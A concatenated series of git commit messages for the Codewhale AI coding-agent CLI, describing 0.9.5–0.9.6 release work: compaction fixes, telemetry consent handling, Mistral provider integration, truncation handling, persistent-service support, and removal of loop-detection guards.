header is a two-way door: clicking it inside the Agents panel returns to
Tasks.
- ⌥V advertised row details but always opened the transcript tool-details
pager, so a selected checklist row showed the latest reasoning cell
instead of its own content. The focused rail now answers the details
chord with the selected row's primary action; the transcript pager keeps
the chord when no work row is selected.
Covered by three new work-surface regression tests (both visible, two-way
door, ⌥V row details); full TUI library suite green (10,123 passed).
Found and verified during the owner's 0.9.6 release dogfood.
Move first-run usage disclosure into the native TUI, keep telemetry unarmed until the decision, and order all telemetry writes and delivery against persistent opt-out with fail-closed setup-state handling.
Replace the narrow wide-terminal rail with a responsive full-screen ocean canvas, preserve readable prose measure, and remove per-call padding inside grouped tool activity.
Verified with formatting, clippy, locale/version/budget gates, the 10,120-test TUI library suite, telemetry/config suites, focused UI/PTy coverage, and independent release/UI review. The sandbox-only loopback acceptance rerun remains explicitly environmental.
Agent assistance: Claude and Codex were used for implementation analysis and verification.
Advance the explicit maximum-module and aggregate Rust ceilings to the measured release-candidate tree after the v0.9.6 lane reconciliation. The structure gate remains one-way and passes at the recorded values.
Replace duplicated implementation-heavy notes with a complete user-facing release ledger, sync the embedded changelog, and align compaction math documentation with the shipped trigger.\n\nExpose the existing Skills and Plugins guides in the website documentation index while retaining v0.9.5 as the latest published release until 0.9.6 is public.
Use one shared 112-column shell for the header, transcript, work strip, composer, and footer while leaving compact terminal geometry unchanged.\n\nVerified with focused layout regressions, a debug build, and compact, wide, and ultrawide VHS captures.
Tree-preserving reconciliation: account, reasoning, and web lanes are patch-equivalent to release commits; the core request lane is superseded by 16b597dd2 on the tested release line.
Do not arm anonymous usage counting for doctor, session-diagnostics, or setup --status. These read-only commands must not create CODEWHALE_HOME as a side effect.\n\nVerified with the telemetry surface unit regression and all 13 read-only diagnostic process tests.
Serialize the prompt-host environment test and box the large runtime API future so parallel full-suite execution does not race process environment or exhaust the test-thread stack.\n\nVerified with both focused regressions.
Probe worktree support via exit status with stdout and stderr discarded. The launch path only needs success or failure and should not retain command output.
Persist only reasoning emitted by the provider. Keep route-specific compatibility placeholders in request serialization and hide placeholders already present in restored sessions.\n\nVerified with focused engine, history, Anthropic, and chat replay regressions.
Bind the per-cell Space hint to the exact cached transcript action owner, with a destructive identity epoch so same-index replacements cannot inherit stale actions. Derive fold actionability from the rendered reasoning analysis and preserve truthful narrow-width, copy, and localized behavior.\n\nKeep mouse selection, viewport retargeting, filtering, streaming, interruption, restore, and transcript lifecycle mutations aligned with that rendered owner. Add cache, lifecycle, interaction, and terminal-width regressions for issue #5291.
Move the production MessageRequest DTO closure into codewhale-core while preserving the historical TUI path through compatibility re-exports.
Route both the streaming turn loop and read-only preview through one pure primary-turn constructor, and prove its prepared body matches bytes sent by the production transport.
Provider-specific dialect shaping and HTTP transport remain in the TUI for the next extraction slice.
Agent assistance: implemented and independently reviewed with CodeWhale sub-agents.
Refs #5261
- FAQ: replace the two-binary codewhale/codewhale-tui answer with the
one-runtime contract — codew is a byte-identical short name, the updater
refreshes legacy codewhale-tui paths from the same bytes, and the tui
crate now compiles into codewhale-cli; drop the separate codewhale-tui
cargo install line (EN+ZH).
- FAQ: add Mistral AI to the provider sample list (EN+ZH).
- FAQ: codewhale doctor prints its report to stdout — the claimed
~/.codewhale/doctor.log file does not exist (EN+ZH).
- FAQ: drop the audit.log sentence; no runtime writer for it exists (EN+ZH).
- FAQ: OpenRouter setup uses the documented route form — --provider
openrouter plus OpenRouter's own model slugs; no provider/model prefix
parsing exists (EN+ZH).
- getting-started: step 4 becomes 'Set up your ideal fleet' — add every
provider, then /fleet setup, the documented authoring wizard; drop
codewhale fleet init, which only prints the ledger path.
- fleet docs: drop codewhale fleet init from the CLI verb block.
- home dictionaries + guide: align the four-step lede with the new step 4
(EN+ZH).
The v0.9.6 release blocker: /compact ran and committed engine-side, but
every lifecycle state was toast-only and the engine's turn-complete status
landed in the same UI drain batch, replacing the completion toast before a
frame was drawn — a successful compaction looked like a no-op. Outcomes
(completed/failed/queued/duplicate/full-mailbox) now land in the transcript;
a terminal event with no tracked start no longer wedges is_compacting.
Auto-compaction retriggered nearly every turn because each pass appended its
summary to the successor system prompt while keeping the previous ones: the
stable prefix grew by a full summary per pass and pressure re-latched. The
prior committed summary is now injected into the summarization request as a
coalescing bridge and the commit replaces the old block. The compact prompt
tells the model to summarize the task, not the checkpoint machinery.
The trigger percentage now means percent of the context window (matching the
meter), clamped to the spendable input ceiling:
trigger = min(window x percent, window - output reservation - headroom)
Pressure is measured with the uninflated estimate or the provider-billed
prompt tokens of the current turn, whichever is higher; the 1.5x-inflated
estimator stays for overflow protection only. Previously 80% on a 1M window
with a 262K output reservation fired near 30% of real usage.
The summary request no longer hard-codes temperature 0.3; like ordinary
turns it sends no sampling params, so routes with fixed-sampling contracts
(Kimi Code membership) stop rejecting the compaction pass.
Regressions: repeated-compaction replacement (engine), billed-pressure and
window-percent trigger math (unit), and a real-TUI PTY test proving the idle
/compact outcome survives as a transcript receipt and a second /compact
carries the coalescing bridge.
Verified: cargo test -p codewhale-tui --lib (10035 passed), the four
compaction PTY tests, cargo fmt --check, cargo clippy --workspace
--all-targets -D warnings. Full workspace gate and rebuilt-binary dogfood
run alongside this commit.
Implemented with agent assistance (Claude) under founder direction.
- FAQ: replace the two-binary codewhale/codewhale-tui answer with the
one-runtime contract — codew is a byte-identical short name, the updater
refreshes legacy codewhale-tui paths from the same bytes, and the tui
crate now compiles into codewhale-cli; drop the separate codewhale-tui
cargo install line (EN+ZH).
- FAQ: add Mistral AI to the provider sample list (EN+ZH).
- FAQ: codewhale doctor prints its report to stdout — the claimed
~/.codewhale/doctor.log file does not exist (EN+ZH).
- FAQ: drop the audit.log sentence; no runtime writer for it exists (EN+ZH).
- FAQ: OpenRouter setup uses the documented route form — --provider
openrouter plus OpenRouter's own model slugs; no provider/model prefix
parsing exists (EN+ZH).
- getting-started: step 4 becomes 'Set up your ideal fleet' — add every
provider, then /fleet setup, the documented authoring wizard; drop
codewhale fleet init, which only prints the ledger path.
- fleet docs: drop codewhale fleet init from the CLI verb block.
- home dictionaries + guide: align the four-step lede with the new step 4
(EN+ZH).
Compress the temporary-background versus persistent-service distinction into the original schema byte budget, retaining both required flags and the session-exit warning without increasing any runtime-contract metric.
Make the Bash schema and managed-background result explicit that ordinary background jobs are terminated at session exit, and point services that must survive a successful headless exec to the existing persist:true ownership-transfer path. Keep regression assertions within the release source budget.
Preserve immutable terminal state on non-Unix builds and shadow it mutably only for the Unix transfer path. Tighten adjacent whitespace so the release correction remains within the no-growth source-structure ceiling.
The v0.9.6 persistent-service transfer is Unix-only, but its stream variant, mutable terminal state, and process-id helper were still compiled on Windows. Gate those pieces consistently and keep the Windows-only shell test fixture aligned with the new ownership field.
Bump the workspace, every published crate, the npm CLI package and its
codewhaleBinaryVersion, the runtime SDK, and the VS Code extension to 0.9.6 —
the four version sources the release workflow cross-checks before it will
tag.
The changelog entry describes v0.9.6 as what it is: a subtractive release.
The guards that interrupted live work, the per-mode prompt doctrine, and the
deterministic second compaction system are gone; a truncated provider
response can no longer be recorded as a finished answer. Most of these were
found by running v0.9.5 against Terminal-Bench 2.1 beside Pi 0.8.41 on the
same model, effort, endpoint, and task digests, then reading the trials
Codewhale lost — so the entry names those trials rather than describing the
fixes in the abstract.
Mistral AI ships in this release; Xavier Pestel (@xavierpestel-ai) is
credited in the contributors section for #5295.
Three v0.9.5 benchmark tasks could not launch Codewhale at all:
mteb-leaderboard, mteb-retrieve, and pytorch-model-recovery run older ARM64
images, and the aarch64-unknown-linux-gnu artifact built on ubuntu-24.04-arm
requires GLIBC_2.39.
Release and nightly now build aarch64-unknown-linux-musl on the native ARM
runner, alongside the x64 musl build that has shipped since v0.8.65. Both
gain a static check (no ELF INTERP) plus a launch smoke on the matching
native runner, so a dynamically linked or non-starting binary fails the
build rather than the user's install. docs/INSTALL.md drops the arm64 glibc
floor section and describes the v0.9.6 matrix.
Also reconciles the copy the earlier commits invalidated: setup ratification
text and all 15 locales stop attributing execution doctrine to "mode
prompts", docs/MODES.md states Auto-Review's actual deterministic
allow/deny behavior, and the source-structure, dead-code, and
runtime-contract budgets are re-measured — the last locking down 25
decreased ceilings and the new mode-agnostic prompt-stage digests.
The turn loop read usage from MessageDelta and discarded its stop reason.
Three v0.9.5 benchmark trials spent their whole ~65k output allowance on
reasoning, emitted no answer, and were recorded status=completed,
termination_reason=resolved with reward 0.
The stop reason is now retained end to end. The Responses adapter preserves
the provider's incomplete_details reason instead of flattening it to
max_tokens, so an unknown future reason cannot be mistaken for a finished
answer. On an incomplete stop the runtime charges the billed usage, keeps
the visible fragment as interrupted rather than recording it as a completed
assistant message, closes every opened tool lifecycle without executing the
call, and fails the turn with the provider's own reason. The same rule
covers the RLM root and bridge, and sub-agents — whose consecutive-truncation
retry counter is gone, since retrying a truncated response was never the
recovery it looked like.
Step-budget exhaustion gets its own ErrorCategory::Budget so it reduces to
BudgetExhausted instead of an untyped failure, and a terminal error category
now outranks historical tool/approval evidence when classifying a run.
Two shell contracts the v0.9.5 benchmark lane showed were wrong.
`action=wait` computed blocking from a separate `wait` boolean that
defaulted to false, so `{"action":"wait","task_id":...,"timeout_ms":600000}`
returned immediately and ignored the timeout — the action named the
intent and the schema contradicted it. wait now blocks by default; pass
wait=false for a nonblocking snapshot. task_shell_wait keeps its documented
nonblocking default, including when wait/block arrive as null.
Background processes were killed on manager drop, so a service the model
started and verified died when the headless exec that started it exited
successfully: kv-store-grpc built its server, confirmed port 5328, and the
external verifier then got connection refused. `persist:true` (Unix, real
headless exec, explicit danger-full-access, background only) stages a
service with null stdio in its own process group; a successful exec
transfers ownership and emits a receipt. Failure, cancellation, signal, and
engine-channel EOF kill it and exit nonzero. Ordinary background jobs keep
kill-on-drop.
Plan, Agent, and Operate each shipped a mode-delta prompt asserting its own
worldview — Agent mandating todo_write before any three-step task, Operate
carrying eight numbered doctrine clauses about dispatch and fan-in, Plan
restating the read-only rules the runtime already enforces. Composition
prepended the delta to the constitution, so a mode change rewrote the stable
prefix and the model read a paragraph about its mode before the rules that
mode modulates.
Modes differ in permissions and available tools. Runtime policy and the live
tool catalog already express both, concretely, per turn. Prompt prose
describing the same thing is a second source of truth that can only drift.
All three modes now compose the same prompt. Headless hosts get a compact
constitution stating the cross-cutting contract the runtime cannot express:
assist someone, begin from possibility, invent no urgency, tools and
workspace are how you see, failure is information, honor intent and active
authority, check before concluding and never call unverified work complete.
Interactive hosts keep the full base. Explicit embedder and base-prompt
overrides still take precedence over both.
Extracts the pr-prompt and telemetry-surface tests to crates/tui/src/tests/
to stay under the source-structure budget.
Three systems watched the model and intervened when its behavior matched a
pattern:
- stuck_guard fingerprinted steps by tool name and arguments and warned,
then stopped, after enough consecutive matches. Because the fingerprint
had no result digest, a `Bash action=wait` on a live job looked identical
every poll. The v0.9.5 benchmark lane shows it killing active work:
filter-js-from-html was stopped while the task it was waiting on went on
to pass 2/2, and llm-inference-batching-scheduler and mcmc-sampling-stan
were stopped mid-optimizer and mid-compile.
- read_repeat_guard coalesced same-batch duplicate reads onto one execution
and, from the fifth occurrence, replaced the result with a receipt
pointing at a prior tool_use_id. A model that asks to read a file twice
gets to read it twice; a synthetic receipt in place of the content it
asked for is a worse answer than the content.
- Tool errors were rewritten to append fallback strategy ("after one retry,
switch to a direct URL path...") and a degradation hint fired after two
consecutive error steps. The model can read a raw error.
Errors now return as the tool produced them. max_steps, declared tool
budgets, and cancellation remain the real limits.
Three gaps the v0.9.6 work could regress silently:
- max_steps exhaustion must be Failed/BudgetExhausted and must never
release a pending persistent service. Writing this surfaced a real bug:
a goal continuation injected on the last step relabeled an already
delivered answer as a step-budget failure, so exhaustion is terminal
only when the model still owes work.
- Cancellation arriving after the provider reported terminal usage must
still charge the turn.
- Real-process persistent services: a successful headless exec releases the
explicitly persisted service and it outlives the exec; a failed exec and
a terminating signal both kill the pending service and exit nonzero.
These drive the actual binary against a wiremock provider with real
child processes, not a mocked manager.
The turn loop, one-shot exec, RLM, and sub-agents already refuse a
provider-declared incomplete response. The remaining direct consumers still
parsed whatever text arrived and reported success:
- compaction committed a truncated summary as the session's history
- the review and verify tools returned a partial critique as a verdict
- the MCP thread handler stored a fragment and answered with it
- purge could execute a complete-looking purge_context call from a
truncated response
- the advisor, auto-route classifier, fleet router, and both setup drafts
parsed fragments
- `codewhale review` wrote a receipt and printed success:true
Each now checks is_incomplete_stop_reason before parsing, persisting,
executing, or reporting success, after the billed usage has been recorded.
Truncation is a failure with the provider's own stop reason in the message,
not a smaller answer.
Extracts the exec-exit-semantics tests to crates/tui/src/tests/ to stay
under the source-structure budget.
Three restrictions treated an active goal as something to be contained
rather than pursued:
- MAX_GOAL_CONTINUATIONS_PER_TURN capped continuation passes at 3 per turn
and ended the turn with a "runaway loop" status. max_steps already bounds
a turn; this was a second, quieter ceiling on the same thing.
- Three identical critical verifier gap sets auto-paused the goal for
"no progress". Repeated gaps are information the model should act on,
not grounds for the runtime to stop the user's work.
- The continuation prompt told the model to stop at any unanswered
question and report itself blocked.
Codex's goals/continuation.md takes the opposite posture: the goal persists
across turns, the objective stays whole, and ending a turn does not require
shrinking success to what fits now. Match that. The cross-turn circuit
breaker ([goal] max_continuations, default unlimited) and terminal
complete/blocked status remain the ways a goal run ends.
todo_write loses its upkeep coaching for the same reason — the list is
optional support for the user's view, and instructions to "keep it live"
and "never batch completions" bought list management instead of work.
Codewhale's compactor had grown a second, deterministic compaction system
alongside the model summary: a continuation-contract extractor with decision
and evidence marker lists, a workflow-context scanner, an anchors file
reader, a path regex plus working-set derivation feeding pin planning, a
fixpoint tool-call-pair enforcer, and a three-rung summary-input ladder with
a degenerate-output resampler. Every layer was a guess about what the next
agent would need, and each one could drop or mangle the thing it was trying
to save.
Replace it with what Codex does (codex-rs/core/src/compact.rs):
- One summary request that IS the live conversation plus a final user
message asking for a handoff summary, so the provider's prefix cache
covers everything already sent.
- A committed summary block introduced by Codex's summary_prefix text.
- A replacement history of the recent plain user messages, newest-first
within a 20k-token budget, restored to transcript order.
- On context-window overflow, drop the oldest history item and retry
(Codex's history.remove_first_item), instead of re-rendering the input
at three progressively lossier rungs.
Kept because they are Codewhale contracts, not ceremony: mechanical
tool-result pruning before paying for a summary, retained-message
sanitization, the conservative reclaimability guard that stops
auto-compaction from firing on every tool step, the exact captured
successor reanchor, and re-stating the user's /anchor file after the
summary (the /anchor command promises those facts survive compaction).
extract_compaction_summary_prompt now recognizes both the new marker and
the pre-0.9.6 one, so sessions saved under the old format still restore
their committed summary on reload.
Keep the checked source-candidate contract in sync with the generated 41-provider registry so the full web suite validates the new first-class route.
Signed-off-by: CodeWhale Bot <bot@codewhale.net>
Scope Mistral's polymorphic reasoning and replay behavior to exact first-party HTTPS routes, preserve stored thinking across real prompt construction, and keep DeepSeek's sanitizer from injecting a second dialect into tool-call history.
Align the current model registry, provider-scoped model override, generated facts, docs, and focused route-isolation tests. Split the large stream decoder test module so the source-structure gate remains below budget.
Signed-off-by: CodeWhale Bot <bot@codewhale.net>
Wire Mistral AI / la Plateforme into the shared provider registry, TUI
provider enum, provider-scoped config/env overrides, static model
registry, context-window metadata, reasoning wiring, docs, and
examples. The route uses Mistral's OpenAI-compatible Chat Completions
endpoint at https://api.mistral.ai/v1 with 'mistral-code-latest' as
the default model (Codestral coding model, 256K context).
Model IDs verified live against https://api.mistral.ai/v1/models: the
static registry ships 'mistral-code-latest' (accepts 'codestral-latest'
as alias for backward compatibility), 'mistral-medium-latest',
'mistral-small-latest', 'magistral-small-latest', and
'mistral-large-latest'. All models report 262144 (256K) context on
/v1/models except mistral-code-latest at 256000; earlier drafts of
this PR had those windows reversed.
Reasoning is wired end-to-end for the three models that advertise
'reasoning: true' on /v1/models — mistral-medium-latest,
mistral-small-latest, and magistral-small-latest. Codewhale sends
'reasoning_effort' (Mistral currently accepts 'none' or 'high' only;
intermediate tiers return HTTP 400 code 3051), parses the polymorphic
'content: [{type: thinking, thinking: [{type: text, text: ...}],
closed: bool}, {type: text, text: ...}]' shape emitted by reasoning
models, and replays the thinking trace back into multi-turn history
per docs.mistral.ai/capabilities/reasoning. Non-reasoning models
(mistral-code-latest, mistral-large-latest) never receive the field
because Mistral would reject it. FIM (/v1/fim/completions) is not
wired.
Provider aliases: mistral-ai, mistralai, la-plateforme. Env vars:
MISTRAL_API_KEY, MISTRAL_BASE_URL, MISTRAL_MODEL. Auth via API key
from https://console.mistral.ai/api-keys, config, or 'codewhale auth
set'.
Test env-poisoning: EnvGuard captures/removes/restores MISTRAL_* so
tests stay reproducible when a user has these vars exported in their
shell.
Validation:
- cargo fmt --all -- --check
- cargo clippy --workspace --all-targets --all-features --locked (with
the documented allow list) -- No issues found
- cargo test --workspace --all-features --locked -- 22 pre-existing
failures in crates/tui git-shell tests (worktree init failing on
'git commit' in isolated tempdirs), verified identical count on
origin/main at 91bca01a9 and unrelated to this change
- python3 scripts/check-provider-registry.py -- passed
- codewhale --provider mistral --model mistral-medium-latest exec
against api.mistral.ai returned a correct reasoning-mode response
- codewhale --provider mistral --model mistral-large-latest exec
succeeded without HTTP 400 code 3051 (verifies the model-aware
reasoning gate)
- TUI smoke previously validated: /status shows mistral +
mistral-code-latest, /provider lists Mistral, tool call end-to-end
Assisted by Codex CLI for implementation and multiple Oracle review
passes (correctness + convention + Hunter's inline review) that
surfaced the ProviderArg clap enum gap, the ModelRegistry silent
fallthrough to DeepSeek, the Codestral context-window regression, the
EnvGuard env-poisoning flake, and the model-ID / context-window /
reasoning-support mistakes from the initial docs-slug pass now
corrected against the live /v1/models catalog.
Bind the per-cell Space hint to the exact cached transcript action owner, with a destructive identity epoch so same-index replacements cannot inherit stale actions. Derive fold actionability from the rendered reasoning analysis and preserve truthful narrow-width, copy, and localized behavior.\n\nKeep mouse selection, viewport retargeting, filtering, streaming, interruption, restore, and transcript lifecycle mutations aligned with that rendered owner. Add cache, lifecycle, interaction, and terminal-width regressions for issue #5291.
Move the production MessageRequest DTO closure into codewhale-core while preserving the historical TUI path through compatibility re-exports.
Route both the streaming turn loop and read-only preview through one pure primary-turn constructor, and prove its prepared body matches bytes sent by the production transport.
Provider-specific dialect shaping and HTTP transport remain in the TUI for the next extraction slice.
Agent assistance: implemented and independently reviewed with CodeWhale sub-agents.
Refs #5261
Advance the separately modeled public-release record only after the immutable GitHub release and 34-asset gate are live. Regenerate the checked-in web facts so install pages and deployed receipts resolve v0.9.5 instead of the prior release.
The consolidated integration target was launching every telemetry contract child at once. On the exact-main Ubuntu runner, two real-turn children produced no useful process or loopback evidence under that load even though both tests pass alone and under local stress.
Hold one module-local permit for each fixture lifetime because these tests cover isolated telemetry behavior, not launch concurrency. Also require successful child status before the existing model, batch, and privacy assertions so future infrastructure failures report the exit status and captured streams instead of masquerading as telemetry regressions.
Verified with both tests alone, the 15-test telemetry subset, four concurrent subset binaries, the full 263-test integration target, strict all-target/all-feature TUI Clippy, source/dead-code budgets, formatting, and diff checks.
Remove the impossible startup-recovery path: arming deliberately truncates every pre-consent buffer, so the startup predicate could only race with events queued by the current process and send them before a mid-session opt-out.
Make the single shutdown flush structural by removing the non-final actor message and public flush API. Strengthen the process-level contract to prove an armed session sends nothing before shutdown, while preserving the shutdown consent re-check and bounded deadline.
Verified with the telemetry unit suite, five focused process-level race runs, the full 263-test integration target, strict workspace all-target/all-feature Clippy, source/runtime/dead-code budgets, formatting, and diff checks.
Run the isolated Skills Manager scenario through the pty integration-test binary and use its module-qualified name so --exact executes one test instead of zero. Lock the command into the workflow contract and update the durable TUI verification examples.
Verified with the exact ignored PTY command, the workflow contract test, actionlint YAML/expression checks, and git diff --check.
Keep pwd as a separately admitted read, but prove the ordinary Scout dispatch workspace by reading unique sentinel bytes through a bounded relative cat operand. This avoids comparing platform-specific pwd renderings and removes the temporary Windows-only pwd flag expansion.
Verified with the focused Scout test, strict all-target/all-feature TUI Clippy, formatting, source-structure budget, and diff checks.
Reject rooted current-drive operands at the read-only Scout boundary, render absolute artifact footer paths with canonical forward slashes, and make the Scout cwd proof use Git-for-Windows pwd output without weakening its semantic path comparison.
Verified with the four Windows-failing TUI unit regressions, the related artifact test, the strict all-target TUI Clippy gate, formatting, source-structure budget, and diff checks.
Record GitHub v0.9.4 as the latest published release while keeping the workspace and website source candidate at v0.9.5. Regenerate the build-time facts fallback so the manual Cloudflare deploy receipt compares against the same published tag already served from KV.
Verified with the focused facts and deploy contracts, the complete 256-test web suite, ESLint, TypeScript, facts/docs drift checks, and a 288-page production build.
The single-binary library conversion made the private command-safety module visible to rustdoc while its examples still imported it as a public API. Render those examples as behavior tables instead of publishing an internal policy module solely for doctests.\n\nVerified with cargo fmt and the codewhale-tui all-features doctest target.
Reconcile the aggregate Rust ledger at 685165 lines after the release-gate repairs for session persistence, Scout authority, compact layout, provider-test isolation, and fetched relative links. Package, binary, large-module count, and largest-module ceilings do not grow.
Verified with the source-structure checker and JSON parsing through the checker.
Resolve relative anchor destinations against the fetched HTTP(S) page through htmd parsed elements before Markdown conversion. Absolute, fragment, non-HTTP, and malformed destinations retain the converter existing behavior.
Verified with all 19 extraction tests, including readable page chrome removal and relative-link preservation.
Scope both config-path environment variables through the shared guard, and run the xAI API-key confirmation against a canonical temporary Codewhale home with the file secret backend. This removes ambient config/keychain coupling and the macOS /var symlink failure from the full parallel suite.
Verified with the focused xAI provider confirmation test.
Budget the pinned background-work row only from space left after the Work strip and measured composer growth. Compact terminals now hide the redundant chip before it steals rows from chat or the idle ocean.
Verified with all nine work-surface rail, resize, paint, and ambient-floor regressions.
Keep canonical Bash.run available to Scout and Reviewer through the hardened read-only executor without reviving the retired exec_shell alias. Restore nested agent visibility below the configured depth ceiling, and align roster/setup assertions with the seeded worker, planner, and custom members.
Verified with 420 subagent tests, 16 Fleet roster tests, and the focused setup override regression.
Remove the stale /sessions resume alias now that /resume is a first-class command. At the persistence disk boundary, reconcile a non-empty compatibility projection back into the append-only journal before serialization so direct SavedSession callers cannot save a newer transcript that the next load silently replaces with an older journal branch.
Verified with both command registry invariants, stale-checkpoint recovery, long-history save/load, and checkpoint round-trip tests.
Rebaseline the paused persistence receipt after eliminating duplicate queued history: retained payload drops from 16,924,032 bytes in the broken candidate to roughly 8,528,000 bytes. The ceiling is under 0.5% above the pre-journal schema and includes 0.015% headroom over the largest of repeated clean samples.
Record the final net source delta at 86 lines above the prior review ceiling with no new package, binary, or thousand-line module. Verified with both budget checker suites, repeated clean measurements, JSON validation, and the source-structure gate.
Own and abort the MCP OAuth callback task so cancelled flows release fixed ports. Preserve omitted-versus-null semantics for nullable MCP PATCH fields while rejecting a server with no endpoint, and make replacement thread goals begin a fresh lifecycle instead of inheriting usage.
Agent-assisted implementation; primary review restored the existing create-validation test and added persisted-state coverage for an invalid final-endpoint clear. Verified with focused OAuth, MCP management, and thread-goal tests, rustfmt, and strict all-target TUI Clippy.
Keep provider-neutral auto selection in the provider-aware TUI and launch workflow lanes from the exact running executable. Repair CNB and installer alias contracts, refresh legacy website-installed TUI bytes during upgrades, and make account pull reject an unimplemented local import truthfully.\n\nVerified with focused CLI/config tests, strict Clippy, workflow contracts, shell syntax checks, and hermetic web installer tests.
Register the tree, branch, and resume descriptions in the complete-locale contract and provide native copy in every shipped language. Keep the todo command name code-owned through a placeholder, and remove internal issue wording from the fork description.\n\nVerified with the localization and behavioral-tip test suites plus JSON parsing for every locale pack.
Keep only the journal-backed active history in queued snapshots, then materialize the legacy messages projection in a temporary copy at the disk boundary. This removes the near-2x paused-channel retention introduced by the session journal while preserving 0.9.4 readers and checkpoint recovery.
When load-time tool-history repair changes the active projection, append the repaired suffix as a sibling branch instead of letting the stale journal overwrite it or rewriting prior evidence.
Verified with the paused measurement, all persistence-actor and session-manager tests, focused append-only repair regressions, rustfmt, and strict all-target codewhale-tui Clippy. The residual 0.46% journal schema overhead and aggregate source ledger are reconciled separately after the active release lanes land.
Run the ignored persistence backlog receipt test from the TUI library after the integration target move. Pin the exact Cargo command in a hermetic harness test and reject successful zero-test or missing-receipt runs so future test relocations fail clearly.
Axum rejects duplicate method/path registrations while constructing the runtime router. Keep skill toggle plus uninstall and MCP list plus create on their respective single route definitions.
Add an explicit mobile router-start regression so future overlaps fail in the focused runtime API unit lane.
Verified with the mobile, MCP management, skill lifecycle, and skill-state tests; codewhale-tui all-targets clippy; and the runtime-contract budget gate.
Bring the dead-code ledger back to its existing ceiling by deleting helpers that were added for unfinished follow-up slices and by modeling the OAuth callback listener as intentional RAII state. The core Engine keeps its public constructor shape but no longer stores fields that are not yet part of the runtime.
Verified with the dead-code and source-structure gates, the runtime-contract gate, focused core/TUI unit tests, rustfmt, and strict Clippy for codewhale-core and codewhale-tui.
The npm wrapper exposes codewhale and codew, while v0.9.5 keeps codewhale-tui only as legacy asset filenames for old updater compatibility. Stop npx from resolving a nonexistent codewhale-tui package during the release smoke and make the runbook describe the single compiled runtime accurately.
Verified with the full local npm wrapper smoke against the exact 0.9.5 release binary, node syntax checking, and the website documentation contract.
Record Shizuku's exact current PR head as v0.9.5 ancestry. The verified release tree already contains the equivalent session-title repair; the ours merge preserves the contributor's commit and GitHub provenance without replaying the older release integration.
Record SKY ZHAO's exact current PR head as v0.9.5 ancestry. The verified release tree already contains the equivalent prompt-based auto-model routing; the ours merge preserves the contributor's commits and GitHub provenance without duplicating the patch.
Record Sun Zhenyuan's exact current PR head as v0.9.5 ancestry. The verified release tree already contains the equivalent incremental MCP Registry behavior; the ours merge preserves the contributor's commit and GitHub provenance without duplicating the patch.
Record Paulo Aboim Pinto's exact current PR head as v0.9.5 ancestry. The verified release tree already contains the equivalent command-discovery behavior; the ours merge avoids replaying stale main while preserving the contributor's commits and GitHub provenance.
Record the unlimited-by-default headless and goal policies, removal of every legacy 20-resume ceiling, inspectable errors, and the bounded Scout evidence and note-taking surface. Use the actual 2026-08-08 publication date and regenerate the packaged TUI changelog slice.
Record the measured 684,975-line production source boundary for the shared normal/headless Scout authority contract. The same update locks in the existing largest-module improvement from 17,700 to 17,680 lines and removes main.rs from the thousand-line allowlist.
No package, binary, or large-module count is added. Verified with scripts/check-source-structure-budget.py.
Delete the shared 20-resume counter from queued steering, child completion, REPL feedback, late completion, and goal continuation paths. Explicit configured limits and the dedicated empty-loop/read-repeat/stuck guards remain in force.
Lock the legacy counter and status markers out of turn_loop.rs and retain the existing 20-tool-round behavioral regression. Verified with both focused engine tests and cargo fmt.
Transport explicit read-only shell and bounded-verification caps across Fleet, intersect them with parent shell/network ceilings, and project the same evidence-only catalog in normal and headless workers.
Execute the admitted shell subset as direct argv with strict command/option, workspace-path, executable, environment, and GitHub-host guards. Keep child Todo state as the only editable Scout notes surface and cover catalog, dispatch, transport, path-shadow, helper, and role-isolation regressions.
Remove the implicit 100-pass terminal ceiling from persistent goals. Token and time budgets remain advisory telemetry, while users who want a circuit breaker can still opt into [goal] max_continuations explicitly.
Verified with the focused goal-loop and configuration tests. Agent assistance was used for implementation and review.
Advertise a full-error pager on every engine error, prioritize the newest visible error over adjacent tool cards, and preserve the exact source message for detail and clipboard surfaces so narrow terminal wrapping cannot split recovery commands or URLs.
Preserve the exact Codewhale-first identity sentence in metadata and social previews. Render it as the Open Graph heading itself so accessible and visual surfaces say the brand once without the previous duplicated prefix.
Date the approved 0.9.5 release, freeze its compare links, record unlimited-by-default headless execution, and refresh the embedded changelog slice.
Verified with prepare-release 0.9.5, version coordination, the OHOS linker/dependency contracts, and diff checking.
Run headless agent loops without a finite model-step ceiling unless the caller explicitly supplies --max-turns. Keep finite values validated and preserve the separate Fleet worker budget.
Remove the verifier harness's implicit 100-turn flag so long benchmark rollouts are not silently truncated. Verified with the focused TUI regression, all nine verifier harness tests, cargo fmt, targeted strict Clippy, and diff checking.
The single-runtime consolidation removed sibling TUI dispatch, leaving the telemetry kill-switch integration test pointed at a fake binary the product no longer invokes.
Drive a keyless features-list command through the real dispatcher instead. The local dry-run sink proves the positive control reaches the in-process runtime, while an explicit or malformed environment kill switch must leave no telemetry state.
Verified with the focused integration test, rustfmt, diff check, and targeted Clippy with warnings denied.
Bumps the workspace package version to 0.9.6 and refreshes Cargo.lock.
Branches off release/0.9.5 (which carries the 0.9.5 foundation work:
single-binary packaging, session tree, /rc + managed login, and the
engine->crates/core scaffolding) so v0.9.6 can take on the deferred feature
layer tracked in milestone v0.9.6 (#60, 122 open issues).
cargo check --workspace passes at v0.9.6.
Move translated layouts onto the compact navigation until xl, reserve wide companion labels for 2xl, and keep every masthead control inside the viewport.
Portal the compact menu to a true viewport modal with inert background roots, contained keyboard focus, an in-dialog close control, and immediate cleanup when a resize crosses the desktop breakpoint.
Verified with all 254 web tests, ESLint, TypeScript, responsive width probes, and live English, Chinese, and Spanish pointer, keyboard, focus, resize, and navigation checks.
Run each ignored receipt test against its exact library path and reject Cargo's successful zero-test result explicitly. Keep the standalone tool-catalog measurement and current verification guidance on the same target, with hermetic command and failure regressions wired into CI.
The repaired measurement exposed a real duplicate AGENTS.md injection from the bounded fragment importer. Keep canonical project-context sources single-owned while still importing additional rule formats through the typed, capped fragment boundary; this restores the checked-in prompt identity without raising the budget.
Verified with the full 55-metric runtime-contract checker, focused core and TUI regressions, both Python harness suites, cargo fmt, and all-target clippy for codewhale-core and codewhale-tui.
Build only the codewhale executable, then stage codewhale and codew from the same bytes for every retained nightly target. Native jobs smoke only the executable that Cargo actually produced, while tagged-release TUI bridge filenames remain out of the nightly command contract.\n\nExtend the workflow contract test to lock the six-target, twelve-artifact inventory, byte-identity check, native smoke selection, and 14-day retention.
Record the four human contributors whose work is present in the 0.9.5 candidate, update the public credit matrix and website snapshot, and add the missing canonical identity for PR #5257. The candidate heading and compare links remain explicitly pre-tag until publication approval.
